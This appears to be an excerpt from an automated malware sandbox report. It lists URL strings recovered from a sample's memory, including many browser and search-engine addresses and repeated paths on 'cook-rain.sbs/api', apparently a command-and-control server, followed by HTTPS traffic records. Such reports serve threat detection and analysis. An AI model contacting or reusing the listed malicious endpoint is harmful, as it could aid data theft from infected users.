Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: e7dea42e57.exe, 00000022.00000002.3330064877.000000000109A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267694473.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3276797644.00000000010BD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/8
Source: e7dea42e57.exe, 00000017.00000003.2869395510.000000000164E000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2869162530.0000000001644000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2869737894.0000000001654000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2867454996.0000000001642000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/F
Source: e7dea42e57.exe, 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/H
Source: e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3264219501.00000000057EA000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057EE000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000002.3330064877.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: e7dea42e57.exe, 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api6fkg
Source: e7dea42e57.exe, 00000022.00000002.3337076041.00000000057E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiD
Source: e7dea42e57.exe, 0000001C.00000003.3019480036.00000000004EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apilzYvk7yiM6-
Source: e7dea42e57.exe, 0000001C.00000003.2990128091.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2990866260.00000000004ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apin8
Source: e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apip
Source: e7dea42e57.exe, 00000022.00000003.3288370055.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apisD
Source: e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/b
Source: e7dea42e57.exe, 0000001C.00000003.3019480036.00000000004EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/ii/7
Source: e7dea42e57.exe, 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/t
Source: e7dea42e57.exe, 00000022.00000002.3330064877.000000000109A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apical
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: e7dea42e57.exe, 00000017.00000003.2816904660.0000000005D88000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2815091403.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2816787188.0000000005D85000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957868095.00000000052C2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2958374785.00000000052C5000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957374476.00000000052CF000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957961267.00000000052D3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3228719852.00000000057B1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3227535199.00000000058B1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3229123972.00000000057B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: e7dea42e57.exe, 00000017.00000003.2816904660.0000000005D88000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2815091403.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2816787188.0000000005D85000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957868095.00000000052C2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2958374785.00000000052C5000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957374476.00000000052CF000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957961267.00000000052D3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3228719852.00000000057B1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3227535199.00000000058B1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3229123972.00000000057B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10s
Source: e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2385760274.000000002383A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2385760274.000000002383A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2836701799.0000000006005000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2976220689.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2385760274.000000002383A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2836701799.0000000006005000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2976220689.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2385760274.000000002383A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2836701799.0000000006005000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2976220689.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2497943980.0000000000294000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
